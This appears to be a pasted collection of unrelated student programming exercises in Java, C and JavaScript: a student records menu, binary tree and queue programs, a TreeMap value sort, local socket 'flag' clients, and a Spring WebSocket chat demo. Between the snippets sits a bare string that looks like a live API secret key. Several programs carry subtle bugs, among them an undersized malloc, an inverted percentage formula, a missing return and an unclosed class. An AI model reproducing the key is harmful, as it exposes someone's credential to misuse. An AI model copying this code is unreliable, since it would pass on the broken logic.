                case 4:
                    System.out.println("Exiting program. Goodbye!");
                    System.exit(0);
                default:
                    System.out.println("Invalid choice. Please try again.");
            }
        }
    }

    private static void displayMenu() {
        System.out.println("Student Information System Menu:");
        System.out.println("1. Add Student");
        System.out.println("2. View Student List");
        System.out.println("3. Search for Student");
        System.out.println("4. Exit");
        System.out.print("Enter your choice: ");
    }

    private static void addStudent() {
        System.out.print("Enter student ID: ");
        int id = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        System.out.print("Enter student name: ");
        String name = scanner.nextLine();

        students.add(new Student(id, name));
        System.out.println("Student added successfully!");
    }

    private static void viewStudentList() {
        if (students.isEmpty()) {
            System.out.println("No students in the system yet.");
        } else {
            System.out.println("Student List:");
            for (Student student : students) {
                System.out.println("ID: " + student.getId() + ", Name: " + student.getName());
            }
        }
    }

    private static void searchStudent() {
        System.out.print("Enter student ID to search: ");
        int searchId = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        boolean found = false;
        for (Student student : students) {
            if (student.getId() == searchId) {
                System.out.println("Student found: ID: " + student.getId() + ", Name: " + student.getName());
                found = true;
                break;
            }
        }

        if (!found) {
            System.out.println("Student with ID " + searchId + " not found.");
        }
    }

    private static class Student {
        private int id;
        private String name;

        public Student(int id, String name) {
            this.id = id;
            this.name = name;
        }

        public int getId() {
            return id;
        }

        public String getName() {
            return name;
        }
    }
}

import java.util.ArrayList;
import java.util.Scanner;

public class StudentInformationSystem {

    private static ArrayList<Student> students = new ArrayList<>();
    private static Scanner scanner = new Scanner(System.in);

    public static void main(String[] args) {
        while (true) {
            displayMenu();
            int choice = scanner.nextInt();
            scanner.nextLine(); // Consume the newline character

            switch (choice) {
                case 1:
                    addStudent();
                    break;
                case 2:
                    viewStudentList();
                    break;
                case 3:
                    searchStudent();
                    break;
                case 4:
                    System.out.println("Exiting program. Goodbye!");
                    System.exit(0);
                default:
                    System.out.println("Invalid choice. Please try again.");
            }
        }
    }

    private static void displayMenu() {
        System.out.println("Student Information System Menu:");
        System.out.println("1. Add Student");
        System.out.println("2. View Student List");
        System.out.println("3. Search for Student");
        System.out.println("4. Exit");
        System.out.print("Enter your choice: ");
    }

    private static void addStudent() {
        System.out.print("Enter student ID: ");
        int id = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        System.out.print("Enter student name: ");
        String name = scanner.nextLine();

        students.add(new Student(id, name));
        System.out.println("Student added successfully!");
    }

    private static void viewStudentList() {
        if (students.isEmpty()) {
            System.out.println("No students in the system yet.");
        } else {
            System.out.println("Student List:");
            for (Student student : students) {
                System.out.println("ID: " + student.getId() + ", Name: " + student.getName());
            }
        }
    }

    private static void searchStudent() {
        System.out.print("Enter student ID to search: ");
        int searchId = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        boolean found = false;
        for (Student student : students) {
            if (student.getId() == searchId) {
                System.out.println("Student found: ID: " + student.getId() + ", Name: " + student.getName());
                found = true;
                break;
            }
        }

        if (!found) {
            System.out.println("Student with ID " + searchId + " not found.");
        }
    }

    private static class Student {
        private int id;
        private String name;

        public Student(int id, String name) {
            this.id = id;
            this.name = name;
        }

        public int getId() {
            return id;
        }

        public String getName() {
            return name;
        }
    }
}

#include <stdio.h>
#include <stdlib.h>
 
/* A binary tree node has data, pointer to left child
   and a pointer to right child */
struct node {
    char data;
    struct node* left;
    struct node* right;
};
 
/* Prototypes for utility functions */
int search(char arr[], int strt, int end, char value);
struct node* newNode(char data);
 
/* Recursive function to construct binary of size len from
   Inorder traversal in[] and Preorder traversal pre[].  Initial values
   of inStrt and inEnd should be 0 and len -1.  The function doesn't
   do any error checking for cases where inorder and preorder
   do not form a tree */
struct node* buildTree(char in[], char pre[], int inStrt, int inEnd)
{
    static int preIndex = 0;
 
    if (inStrt > inEnd)
        return NULL;
 
    /* Pick current node from Preorder traversal using preIndex
    and increment preIndex */
    struct node* tNode = newNode(pre[preIndex++]);
 
    /* If this node has no children then return */
    if (inStrt == inEnd)
        return tNode;
 
    /* Else find the index of this node in Inorder traversal */
    int inIndex = search(in, inStrt, inEnd, tNode->data);
 
    /* Using index in Inorder traversal, construct left and
     right subtress */
    tNode->left = buildTree(in, pre, inStrt, inIndex - 1);
    tNode->right = buildTree(in, pre, inIndex + 1, inEnd);
 
    return tNode;
}
 
/* UTILITY FUNCTIONS */
/* Function to find index of value in arr[start...end]
   The function assumes that value is present in in[] */
int search(char arr[], int strt, int end, char value)
{
    int i;
    for (i = strt; i <= end; i++) {
        if (arr[i] == value)
            return i;
    }
}
 
/* Helper function that allocates a new node with the
   given data and NULL left and right pointers. */
struct node* newNode(char data)
{
    struct node* node = (struct node*)malloc(sizeof(struct node));
    node->data = data;
    node->left = NULL;
    node->right = NULL;
 
    return (node);
}
 
/* This function is here just to test buildTree() */
void printInorder(struct node* node)
{
    if (node == NULL)
        return;
 
    /* first recur on left child */
    printInorder(node->left);
 
    /* then print the data of node */
    printf("%c ", node->data);
 
    /* now recur on right child */
    printInorder(node->right);
}
 
/* Driver program to test above functions */
int main()
{
    char in[] = { 'D', 'G', 'B', 'A', 'H', 'E', 'I', 'C', 'F' };
    char pre[] = { 'A', 'B', 'D', 'G', 'C', 'E', 'H', 'I', 'F' };
    int len = sizeof(in) / sizeof(in[0]);
    struct node* root = buildTree(in, pre, 0, len - 1);
 
    /* Let us test the built tree by printing Inorder traversal */
    printf("Inorder traversal of the constructed tree is \n");
    printInorder(root);
    getchar();
}
//OUTPUT:

Inorder traversal of the constructed tree is 
D G B A H E I C F 

#include <stdio.h>
#include <stdlib.h>

typedef struct Node 
{
    char data;
    struct Node* left;
    struct Node* right;
} Node;

Node* createNode(char value)
{
    Node* newNode = (Node*)malloc(sizeof(Node*));
    newNode -> data = value;
    newNode -> left = NULL;
    newNode -> right = NULL;
    
    return newNode;
}

void preOrder(Node* root)
{
    if(root != NULL) {
        printf("%c ", root -> data);
        preOrder(root -> left);
        preOrder(root -> right);
    }
}

void inOrder(Node* root)
{
    if(root != NULL) {
        inOrder(root -> left);
        printf("%c ", root -> data);
        inOrder(root -> right);
    }
}

void postOrder(Node* root)
{
    if(root != NULL) {
        postOrder(root -> left);
        postOrder(root -> right);
        printf("%c ", root -> data);
    }
}
int main() {
   
   Node* root = createNode('A');
   root ->left = createNode('B');
   root -> right = createNode('C');
   root -> left -> left = createNode('D');
   root -> left -> right = createNode('E');
   root -> right -> left = createNode('F');
   root -> right -> right = createNode('G');
   
   printf("Pre-Order Traversal: ");
   printf("\n");
   preOrder(root);
   
   printf("\n\nIn-Order Traversal: ");
   printf("\n");
   inOrder(root);
   
   printf("\n\nPost-Order Traversal: ");
   printf("\n");
   postOrder(root);

    return 0;
}

//OUTPUT:

Pre-Order Traversal: 
A B D E C F G 

In-Order Traversal: 
D B E A F C G 

Post-Order Traversal: 
D E B F G C A 

Question: 
Write a C program to create a binary tree as shown in bellow, with the following elements: 50, 17, 72, 12, 23, 54, 76, 9, 14, 25 and 67. After creating the tree, perform an in-order traversal to display the elements. 

Answer:

#include <stdio.h>
#include <stdlib.h>

struct Node 
{
    int data;
    struct Node* left;
    struct Node* right;
};

struct Node* createNode(int value)
{
    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));
    newNode -> data = value;
    newNode -> left = NULL;
    newNode -> right = NULL;
    
    return newNode;
}
void inOrderTraversal(struct Node* root)
{
    if(root!=NULL) {
        inOrderTraversal(root -> left);
        printf("%d ", root -> data);
        inOrderTraversal(root -> right);
    }
}

int main() {
   struct Node* root = createNode(50);
   root -> left = createNode(17);
   root -> right = createNode(72);
   
   root -> left -> left = createNode(12);
   root -> left -> right = createNode(23);
   
   root -> left -> left -> left = createNode(9);
   root -> left -> left -> right = createNode(14);
   
   root -> left -> right -> right = createNode(25);
   
   root -> right -> left = createNode(54);
   root -> right -> right = createNode(76);
   root -> right -> left -> right = createNode(67);
   inOrderTraversal(root);

    return 0;
}

//OUTPUT:

In-Order Traversal: 
9 12 14 17 23 25 50 54 67 72 76 

import java.net.*;
import java.io.*;
import java.util.*;
import java.util.stream.Collectors;

public class Main {

    public static void main(String[] args) {
        try {
            // Step 1: Open a connection to the URL and create a BufferedReader to read from it
            URL url = new URL("http://wiki.puzzlers.org/pub/wordlists/unixdict.txt");
            BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream()));

            // Step 2: Group words by sorted characters (anagrams)
            Map<String, List<String>> anagrams = reader.lines()
                    .collect(Collectors.groupingBy(Main::sortedString));

            // Step 3: Find the maximum number of anagrams in a single group
            int maxAnagrams = anagrams.values().stream()
                    .mapToInt(List::size)
                    .max()
                    .orElse(0);
          
			// Step 4: Print the group(s) with the maximum number of anagrams, sorted lexicographically

		// Stream through the values of the 'anagrams' map, which represent groups of anagrams
anagrams.values().stream()
        // Filter to include only groups with the maximum number of anagrams
        .filter(group -> group.size() == maxAnagrams)
        
        // For each qualifying group, sort its elements lexicographically
        .peek(Collections::sort)
        
        // Sort the groups based on the lexicographically first element of each group
        .sorted(Comparator.comparing(list -> list.get(0)))
        
        // For each sorted group, print it as a space-separated string
        .forEach(group -> System.out.println(String.join(" ", group)));
          
          
                // Step 5: Close the BufferedReader
            reader.close();
        } catch (IOException e) {
            // Handle IOException if it occurs
            e.printStackTrace();
        }
    }

private static String sortedString(String word) {
    // Step 1: Convert the word to a character array
    char[] letters = word.toCharArray();
    
    // Step 2: Sort the characters in lexicographic order
    Arrays.sort(letters);
    
    // Step 3: Create a new string from the sorted character array
    return new String(letters);
}

# include <stdio.h>
# define MAX 6
int CQ[MAX];
int front = 0;
int rear = 0;
int count = 0;
void insertCQ(){
int data;
if(count == MAX) {
printf("\n Circular Queue is Full");
}
else {
printf("\n Enter data: ");
scanf("%d", &data);
CQ[rear] = data;
rear = (rear + 1) % MAX;
count ++;
printf("\n Data Inserted in the Circular Queue ");
    }
}
void deleteCQ()
{
    if(count == 0) {
        printf("\n\nCircular Queue is Empty..");
        
    }
        else {
            printf("\n Deleted element from Circular Queue is %d ", CQ[front]);
            front = (front + 1) % MAX;
            count --; 
        }
}
void displayCQ()
{
    int i, j;
    if(count == 0) {
        printf("\n\n\t Circular Queue is Empty "); }
        else {
            printf("\n Elements in Circular Queue are: ");
            j = count;
            for(i = front; j != 0; j--) {
                printf("%d\t", CQ[i]);
                i = (i + 1) % MAX; 
            }
        } 
}
int menu() {
    int ch;
    printf("\n \t Circular Queue Operations using ARRAY..");
    printf("\n -----------**********-------------\n");
    printf("\n 1. Insert ");
    printf("\n 2. Delete ");
    printf("\n 3. Display");
    printf("\n 4. Quit ");
    printf("\n Enter Your Choice: ");
    scanf("%d", &ch);
    return ch;
    
}
void main(){
    int ch;
    do {
        ch = menu();
        switch(ch) {
            case 1: insertCQ(); break;
            case 2: deleteCQ(); break;
            case 3: displayCQ(); break;
            case 4:
            return;
            default:
            printf("\n Invalid Choice ");
            
        }
        } while(1);
}

#include <stdio.h>
#include <stdlib.h>
#define SIZE 5

int front = -1;
int rear = -1;
int Q[SIZE];

void enqueue();
void dequeue();
void show();

int main ()
{
    int choice;
    while (1)
    {
        printf("\nEnter 1 for enqueue\n");
        printf("Enter 2 for dequeue\n");
        printf("Enter 3 to see the Queue Elements\n");
        printf("Enter 4 to Quit\n");
        printf("\nEnter Your Choice: ");
        scanf("%d", &choice); 

        switch (choice)
        {
        case 1:
            enqueue();
            break; 
        case 2:
            dequeue();
            break;
        case 3:
            show();
            break;
        case 4:
            exit(0);
        default:
            printf("\nWrong choice\n");
        }
    }

    return 0;
}

void enqueue()
{
    int val;
    if (rear == SIZE - 1)
        printf("\nQueue is Full.");
    else
    {
        if (front == -1)
            front = 0;
        printf("\nInsert the value: ");
        scanf("%d", &val); 
        rear = rear + 1;
        Q[rear] = val;
    }
}

void dequeue()
{
    if (front == -1 || front > rear)
        printf("\nQueue Is Empty.");
    else
    {
        printf("\nDeleted Element is %d", Q[front]);
        front = front + 1;
    }
}
void show()
{
    if (front == rear == -1 || front > rear)
    {
        printf("\nQueue is Empty.");
    }
    else
    {
        for (int i = front; i <= rear; i++) 
            printf("%d\t", Q[i]);
    }
}

#include <stdio.h>
#define MAX 6
int Q[MAX];
int front, rear;
void insertQ()
{
    int data;
    if(rear==MAX) {
        printf("\nLinear Queue is Full: we cannot add an element.");
    }
    else{
        printf("Enter Data: ");
        scanf("\n%d", & data );
        Q[rear] = data;
        rear++;
    }
}
void deleteQ()
{
    if(rear==front){
        printf("Queue is Empty. we cannot delete an element.");
    }
    else {
        printf("\nDeleted Element is %d ", Q[front]);
        front++;
    }
}

void displayQ()
{
    int i;
    if(front==rear) {
        printf("\nQueue is Empty. we dont Have any element yet!");
    }
    else {
        printf("\nElements in the Queue is : ");
        for(int i = front; i<rear; i++){
            printf("%d ", Q[i]);
        }
    }
}

int menu()
{
    int choice;
    //clrscr();
    printf("\nQueus Operation using Array: ");
    printf("\n 1. insert Element.");
    printf("\n 2. Delete Element.");
    printf("\n 3. Display Elements.");
    printf("\n 4. Quit.");
    
    printf("\n\nEnter Your Choice: ");
    scanf("%d", & choice);
    return choice;
}

int main() {
   int choice;
   do
   {
       choice = menu();
       switch(choice) 
       {
           case 1: insertQ(); break;
           case 2: deleteQ(); break;
           case 3: displayQ(); break;
       }
       //getchoice();
   }
   while(1);

    //return 0;
}

//OUTPUT:
Queus Operation using Array: 
1. insert Element.
2. Delete Element.
3. Display Elements.
4. Quit.

Enter Your Choice: 1
Enter Data: 50
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 60
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 70
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 50 60 70 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 80
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 50 60 70 80 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 2
Deleted Element is 50 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 60 70 80 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 20
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 30
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Linear Queue is Full: we cannot add an element.
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 60 70 80 20 30 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Linear Queue is Full: we cannot add an element.
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 60 70 80 20 30 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 2
Deleted Element is 60 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 70 80 20 30 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Linear Queue is Full: we cannot add an element.
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 

/*
 * Une collection TreeMap est par défaut triée avec ses clés, mais si vous avez besoin de trier une TreeMap
 * par valeurs, Java fournit un moyen en utilisant la classe Comparator.
 */

package TreeMap;

import java.util.*;

/**
 *
 * @author fabrice
 */
class Tri_par_valeurs {
  
  // Static method which return type is Map and which extends Comparable. 
  // Comparable is a comparator class which compares values associated with two keys.  
  public static <K, V extends Comparable<V>> Map<K, V> valueSort(final Map<K, V> map) {
      
      // compare the values of two keys and return the result
      Comparator<K> valueComparator = (K k1, K k2) -> {
          int comparisonResult = map.get(k1).compareTo(map.get(k2));
          if (comparisonResult == 0) return 1;
          else return comparisonResult;
      };
      
      // Sorted Map created using the comparator
      Map<K, V> sorted = new TreeMap<K, V>(valueComparator); // create a new empty TreeMap ordered according to the given comparator
      
      sorted.putAll(map); // copy mappîngs of "map" into "sorted" an order them by value
      
      return sorted;
  }
  
    public static void main(String[] args) {
        TreeMap<Integer, String> map = new TreeMap<Integer, String>();
        
        // Feed the Map
        map.put(1, "Anshu"); 
        map.put(5, "Rajiv"); 
        map.put(3, "Chhotu"); 
        map.put(2, "Golu"); 
        map.put(4, "Sita"); 
        
        // Display elements before sorting 
        Set unsortedSet = map.entrySet();
        Iterator i1 = unsortedSet.iterator();
        while (i1.hasNext()) {
            Map.Entry mapEntry = (Map.Entry) i1.next();
            System.out.println("Key: " + mapEntry.getKey() + " - Value: " + mapEntry.getValue());
        }
        
        // call method valueSort() and assign the output to sortedMap
        Map sortedMap = valueSort(map);
        System.out.println(sortedMap);
        
        // Display elements after sorting 
        Set sortedSet = sortedMap.entrySet();
        Iterator i2 = sortedSet.iterator();
        while (i2.hasNext()) {
            Map.Entry mapEntry = (Map.Entry) i2.next();
            System.out.println("Key: " + mapEntry.getKey() + " - Value: " + mapEntry.getValue());
        }
    }
}

import java.util.Scanner;
class Mark{
	private int markM1,markM2,markM3;
	private int totalMark,percentage;
	void input(){
		Scanner sc=new Scanner(System.in);
		System.out.println("Enter your Mark of the 1st Subject:");
		markM1=sc.nextInt();
		System.out.println("Enter your Mark of the 2nd Subject:");
		markM2=sc.nextInt();
		System.out.println("Enter your Mark of the 3rd Subject:");
		markM3=sc.nextInt();
	}
	private void markObtain(){
		totalMark=markM1+markM2+markM3;
		percentage=(300/totalMark)*100;
	}
	void output(){
		markObtain();
		System.out.println("Mark Obtain in 1st Subject: "+markM1);
		System.out.println("Mark Obtain in 2nd Subject: "+markM2);
		System.out.println("Mark Obtain in 1st Subject: "+markM3);
		System.out.println("Total-Mark= "+totalMark);
		System.out.println("percentage= "+percentage);
	}
}
class Student{
	private int rollNumber;
	private String name;
	private Mark m=new Mark();
	void input(){
		Scanner sc=new Scanner(System.in);
		System.out.println("Enter your ROLL-NUMBER:");
		rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter your NAME:");
		name=sc.nextLine();
		m.input();
	}
	void output(){
		System.out.println("Roll: "+rollNumber);
		System.out.println("Name: "+name);
		m.output();
	}
}
class StudentInfo{
	public static void main(String args[]){
		Student s=new Student();
		s.input();
		s.output();
	}
}

public class Exercise31 {
    public static void main(String[] args) {
        // Display Java version
        System.out.println("\nJava Version: " + System.getProperty("java.version"));
        
        // Display Java runtime version
        System.out.println("Java Runtime Version: " + System.getProperty("java.runtime.version"));
        
        // Display Java home directory
        System.out.println("Java Home: " + System.getProperty("java.home"));
        
        // Display Java vendor name
        System.out.println("Java Vendor: " + System.getProperty("java.vendor"));
        
        // Display Java vendor URL
        System.out.println("Java Vendor URL: " + System.getProperty("java.vendor.url"));
        
        // Display Java class path
        System.out.println("Java Class Path: " + System.getProperty("java.class.path") + "\n");
    }
}

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

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import java.util.*;
import java.net.*;
import java.io.*;

public class Server {

    public static void main(String[] args) {

        for (String portStr : args) {
            try {
                int port = Integer.parseInt(portStr);
                new Thread(new ServerTask(port)).start();
            } catch (NumberFormatException e) {
                System.out.println("Incorrect port: " + portStr);
            }
        }
    }

    private static class ServerTask implements Runnable {
        private int port;

        public ServerTask(int port) {
            this.port = port;
        }

        public void run() {
            try (ServerSocket serverSocket = new ServerSocket(port)) {
                while (true) {
                    Socket clientSocket = serverSocket.accept();
                    new Thread(new ClientHandler(clientSocket)).start();
                }
            } catch (IOException e) {
                System.out.println("Error starting the server on port " + port);
            }
        }
    }

    private static class ClientHandler implements Runnable {
        private Socket clientSocket;

        public ClientHandler(Socket clientSocket) {
            this.clientSocket = clientSocket;
        }

        public void run() {
            try (InputStream input = clientSocket.getInputStream()) {
                byte[] buffer = new byte[20];
                int bytesRead = input.read(buffer);

                String receiveData = new String(buffer, 0, bytesRead);
                System.out.println(receiveData);
            } catch (IOException e) {
                System.out.println("Error receiving data from client");
                e.printStackTrace();
            } finally {
                try {
                    clientSocket.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

import java.util.*;
import java.net.*;
import java.io.*;
import util.SocketFactory;

class Main
{
    public static void main(String[] args) throws IOException
    {
        byte[] data  = new byte[20];
        String output = "";

        ServerSocket socket = SocketFactory.buildSocket();

        Socket clientSocket = socket.accept(); //oczekiwanie na polaczenie, oraz akceptacja

        InputStream input = clientSocket.getInputStream();
        
        input.read(data, 0, 20);
        output = new String(data, 0, 20);
        System.out.println(output);


    }
}

import java.util.*;
import java.net.*;
import java.io.*;

class Sock{
    public static String getFlag(String hostName, Integer port){
        int bufferSize = 20;
        byte[] data = new byte[bufferSize];
        String output = "";

        try{
            Socket socket = new Socket(hostName, port);
            for(int i = 0; i < bufferSize; i++){
                if(socket.getInputStream().read(data, i, 1) <= 0){
                    break;
                }
            //socket.getInputStream().read(data, i, 1); //0 to indeks gdzie zaczynay,
            output = output + (char) data[i]; 
            }
            socket.close();
        }
        catch(IOException e){
            System.out.println(e);
        }

        return output;
    }
}

class Main
{
    public static void main(String[] args)
    {
        Scanner scan = new Scanner(System.in);
        Integer port = scan.nextInt();

        System.out.println(Sock.getFlag("127.0.0.1", port)); //wyprintuje SUCCESS

    }
}

import java.util.*;
import java.net.*;
import java.io.*;

class Sock{
    public static String getFlag(String hostName, Integer port){
        byte[] data = new byte[20];
        try{
            Socket socket = new Socket(hostName, port);
            socket.getInputStream().read(data, 0, 20); //0 to indeks gdzie zaczynay,
            socket.close();
        }
        catch(IOException e){
            System.out.println(e);
        }

        return new String(data, 0, 20);
    }
}

class Main
{
    public static void main(String[] args)
    {
        Scanner scan = new Scanner(System.in);
        Integer port = scan.nextInt();

        System.out.println(Sock.getFlag("127.0.0.1", port)); //wyprintuje SUCCESS

    }
}

<!DOCTYPE html>
<html>
  <head>
      <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
      <title>Spring Boot WebSocket Chat Application | CalliCoder</title>
      <link rel="stylesheet" href="css/main.css" />
  </head>
  <body>
    <noscript>
      <h2>Sorry! Your browser doesn't support Javascript</h2>
    </noscript>

    <div id="username-page">
        <div class="username-page-container">
            <h1 class="title">Type your username</h1>
            <form id="usernameForm" name="usernameForm">
                <div class="form-group">
                    <input type="text" id="name" placeholder="Username" autocomplete="off" class="form-control" />
                </div>
                <div class="form-group">
                    <button type="submit" class="accent username-submit">Start Chatting</button>
                </div>
            </form>
        </div>
    </div>

    <div id="chat-page" class="hidden">
        <div class="chat-container">
            <div class="chat-header">
                <h2>Spring WebSocket Chat Demo</h2>
            </div>
            <div class="connecting">
                Connecting...
            </div>
            <ul id="messageArea">

            </ul>
            <form id="messageForm" name="messageForm" nameForm="messageForm">
                <div class="form-group">
                    <div class="input-group clearfix">
                        <input type="text" id="message" placeholder="Type a message..." autocomplete="off" class="form-control"/>
                        <button type="submit" class="primary">Send</button>
                    </div>
                </div>
            </form>
        </div>
    </div>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/sockjs-client/1.1.4/sockjs.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/stomp.js/2.3.3/stomp.min.js"></script>
    <script src="js/main.js"></script>
  </body>
</html>

------------------------------------
pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>

	<groupId>com.example</groupId>
	<artifactId>websocket-demo</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<packaging>jar</packaging>

	<name>websocket-demo</name>
	<description>Spring Boot WebSocket Chat Demo</description>

	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.5.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>

	<properties>
		<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
		<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
		<java.version>11</java.version>
	</properties>

	<dependencies>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-websocket</artifactId>
		</dependency>

		<!-- RabbitMQ Starter Dependency (Not required if you're using the simple in-memory broker for STOMP) -->
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-amqp</artifactId>
		</dependency>

		<!-- Following dependency is required for Full Featured STOMP Broker Relay -->
		<dependency>
		    <groupId>org.springframework.boot</groupId>
		    <artifactId>spring-boot-starter-reactor-netty</artifactId>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-devtools</artifactId>
			<scope>runtime</scope>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
		</dependency>

		<dependency>
			<groupId>org.projectlombok</groupId>
			<artifactId>lombok</artifactId>
			<optional>true</optional>
		</dependency>
	</dependencies>

	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
			</plugin>
			<!-- This plugin is used to create a docker image and publish the image to docker hub-->
			<plugin>
				<groupId>com.spotify</groupId>
				<artifactId>dockerfile-maven-plugin</artifactId>
				<version>1.4.0</version>
				<configuration>
					<!-- replace `callicoder` with your docker id-->
					<repository>callicoder/spring-boot-websocket-chat-demo</repository>
					<tag>${project.version}</tag>
					<buildArgs>
						<JAR_FILE>target/${project.build.finalName}.jar</JAR_FILE>
					</buildArgs>
				</configuration>
				<executions>
					<execution>
						<id>default</id>
						<phase>install</phase>
						<goals>
							<goal>build</goal>
							<goal>push</goal>
						</goals>
					</execution>
				</executions>
			</plugin>
		</plugins>
	</build>
</project>

--------------------------------------

static/js/main.js

'use strict';

var usernamePage = document.querySelector('#username-page');
var chatPage = document.querySelector('#chat-page');
var usernameForm = document.querySelector('#usernameForm');
var messageForm = document.querySelector('#messageForm');
var messageInput = document.querySelector('#message');
var messageArea = document.querySelector('#messageArea');
var connectingElement = document.querySelector('.connecting');

var stompClient = null;
var username = null;

var colors = [
    '#2196F3', '#32c787', '#00BCD4', '#ff5652',
    '#ffc107', '#ff85af', '#FF9800', '#39bbb0'
];

function connect(event) {
    username = document.querySelector('#name').value.trim();

    if(username) {
        usernamePage.classList.add('hidden');
        chatPage.classList.remove('hidden');

        var socket = new SockJS('/ws');
        stompClient = Stomp.over(socket);

        stompClient.connect({}, onConnected, onError);
    }
    event.preventDefault();
}

function onConnected() {
    // Subscribe to the Public Topic
    stompClient.subscribe('/topic/public', onMessageReceived);

    // Tell your username to the server
    stompClient.send("/app/chat.addUser",
        {},
        JSON.stringify({sender: username, type: 'JOIN'})
    )

    connectingElement.classList.add('hidden');
}


function onError(error) {
    connectingElement.textContent = 'Could not connect to WebSocket server. Please refresh this page to try again!';
    connectingElement.style.color = 'red';
}


async function sendMessage(event) {
    var messageContent = messageInput.value.trim();

    if(messageContent && stompClient) {
        var chatMessage = {
            sender: username,
            content: messageInput.value,
            type: 'CHAT'
        };

        stompClient.send("/app/chat.sendMessage", {}, JSON.stringify(chatMessage));
        messageInput.value = '';
    }
    event.preventDefault();
}


function onMessageReceived(payload) {
    var message = JSON.parse(payload.body);

    var messageElement = document.createElement('li');

    console.log(payload)
    if(message.type === 'JOIN') {
        messageElement.classList.add('event-message');
        message.content = message.sender + ' joined!';
    } else if (message.type === 'LEAVE') {
        messageElement.classList.add('event-message');
        message.content = message.sender + ' left!';
    } else {
        messageElement.classList.add('chat-message');

        var avatarElement = document.createElement('i');
        var avatarText = document.createTextNode(message.sender[0]);
        avatarElement.appendChild(avatarText);
        avatarElement.style['background-color'] = getAvatarColor(message.sender);

        messageElement.appendChild(avatarElement);

        var usernameElement = document.createElement('span');
        var usernameText = document.createTextNode(message.sender);
        usernameElement.appendChild(usernameText);
        messageElement.appendChild(usernameElement);
    }

    var textElement = document.createElement('p');
    var messageText = document.createTextNode(message.content);
    textElement.appendChild(messageText);

    messageElement.appendChild(textElement);

    messageArea.appendChild(messageElement);
    messageArea.scrollTop = messageArea.scrollHeight;
}


function getAvatarColor(messageSender) {
    var hash = 0;
    for (var i = 0; i < messageSender.length; i++) {
        hash = 31 * hash + messageSender.charCodeAt(i);
    }

    var index = Math.abs(hash % colors.length);
    return colors[index];
}

usernameForm.addEventListener('submit', connect, true)
messageForm.addEventListener('submit', sendMessage, true)

static/css/main.css

* {
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
}

html,body {
    height: 100%;
    overflow: hidden;
}

body {
    margin: 0;
    padding: 0;
    font-weight: 400;
    font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
    font-size: 1rem;
    line-height: 1.58;
    color: #333;
    background-color: #f4f4f4;
    height: 100%;
}

body:before {
    height: 50%;
    width: 100%;
    position: absolute;
    top: 0;
    left: 0;
    background: #128ff2;
    content: "";
